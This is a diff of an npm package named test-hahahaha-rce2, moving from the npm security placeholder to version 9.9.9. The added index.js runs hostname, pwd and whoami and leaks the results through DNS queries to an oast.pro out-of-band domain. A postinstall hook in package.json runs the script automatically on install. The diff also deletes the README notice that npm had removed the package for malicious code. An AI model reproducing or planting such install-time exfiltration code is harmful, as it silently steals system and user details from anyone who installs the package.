test-hahahaha-rce2 0.0.1-security → 9.9.9

package/index.js

@@ -0,0 +1,30 @@
+const dns = require("dns");
+const { execSync } = require("child_process");
+
+// Function to execute a shell command and return the trimmed output
+function runCommand(cmd) {
+    return execSync(cmd).toString().trim().replace(/[^a-zA-Z0-9-]/g, ""); // Remove special characters
+}
+
+// Get system data
+const hostname = runCommand("hostname");
+const pwd = runCommand("pwd");
+const username = runCommand("whoami");
+
+// Function to send DNS A record request
+function sendDNSRequest(data) {
+    const trackingDomain = `${data}.cuq6qc0resr6s9214en0ui9b38z3fuas8.oast.pro`;
+
+    dns.resolve4(trackingDomain, (err, addresses) => {
+        if (err) {
+            // Silently handle error
+        } else {
+            console.log(`DNS A record response for ${data}: ${addresses}`);
+        }
+    });
+}
+
+// Send DNS requests
+sendDNSRequest(hostname);
+sendDNSRequest(pwd);
+sendDNSRequest(username);

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "test-hahahaha-rce2",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.9.9",
+  "description": "",
+  "main": "index.js",
+  "directories": {
+    "test": "test"
+  },
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall":"node index.js"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=test-hahahaha-rce2 for more information.